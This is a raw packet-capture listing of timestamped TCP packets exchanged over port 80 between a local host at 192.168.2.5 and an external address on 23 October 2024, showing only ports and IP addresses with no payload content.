Oct 23, 2024 15:48:23.512051105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512057066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512084007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512087107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512116909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512150049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512181044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512187958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512213945 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512217999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512247086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512279034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512289047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512316942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512348890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512379885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512384892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512413025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512417078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512442112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512475014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512507915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512511969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512540102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512546062 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512573004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512604952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512638092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512641907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512669086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512672901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512702942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512732983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512765884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512772083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512798071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512833118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512836933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512862921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512871981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512881994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512896061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512909889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512923956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512928963 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512939930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512953997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512955904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512969017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.512970924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.512984037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513000011 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513014078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513017893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513030052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513044119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513046026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513058901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513062954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513075113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513088942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513096094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513104916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513120890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513123035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513139009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513154030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513168097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513170004 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513183117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513194084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513197899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513214111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513222933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513228893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513243914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513247013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513259888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513274908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513283968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513289928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513304949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513308048 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513320923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513335943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513350964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513354063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513365984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513377905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513381004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513396025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513405085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513411999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513426065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513431072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513442039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513457060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513470888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513470888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513484955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513497114 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513500929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513515949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513530016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513530016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513545036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513555050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513559103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513575077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513581991 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513588905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513603926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513611078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513619900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513642073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513660908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513675928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513689995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513704062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513706923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513720036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513734102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513736010 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513750076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513751030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513771057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513784885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513786077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513798952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513813972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513817072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513828993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513843060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513845921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513859034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513873100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513887882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513894081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513904095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513917923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513919115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513935089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513940096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513956070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513971090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513982058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.513987064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.513999939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514000893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514025927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514043093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514043093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514059067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514072895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514091015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514100075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514115095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514122009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514136076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514153004 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514158010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514173031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514185905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514199972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514204025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514215946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514226913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514234066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514247894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514255047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514264107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514281988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514286995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514302015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514316082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514329910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514333963 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514343977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514359951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514365911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514374971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514380932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514395952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514409065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514410019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514425039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514440060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514445066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.514453888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.514472008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.515052080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.550626040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.550672054 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.550709963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.550745010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.550750971 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.550992966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.620624065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620668888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620726109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620762110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620780945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.620795965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620819092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.620832920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620867014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620872021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.620901108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620934963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620969057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.620974064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.620999098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621007919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621052980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621103048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621145010 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621151924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621186972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621191978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621221066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621256113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621289015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621296883 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621325016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621329069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621354103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621387005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621434927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621438026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621488094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621490955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621524096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621556044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621565104 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621608019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621642113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621675014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621722937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621757030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621768951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621768951 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621789932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621807098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621840000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621874094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621898890 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621907949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621957064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.621983051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.621994019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622028112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622034073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622071028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622112989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622119904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622153997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622189045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622222900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622237921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622272015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622296095 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622323036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622351885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622360945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622407913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622457027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622489929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622497082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622534037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622540951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622577906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622627020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622658968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622670889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622704029 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622709036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622742891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622776985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622821093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622827053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622862101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622869968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.622911930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622946024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622976065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.622986078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623009920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623016119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623044968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623078108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623125076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623126030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623162031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623167992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623213053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623262882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623265028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623332977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623368979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623378992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623403072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623436928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623460054 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623469114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623502970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623534918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623543024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623579979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623584986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623621941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623661041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623681068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623729944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623761892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623795033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623806000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623830080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623833895 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623869896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623903990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623941898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623944998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.623974085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.623980999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.624006033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624038935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624072075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624078035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.624105930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624114037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.624140024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624188900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.624294996 CEST	49713	80	192.168.2.5	185.215.113.16
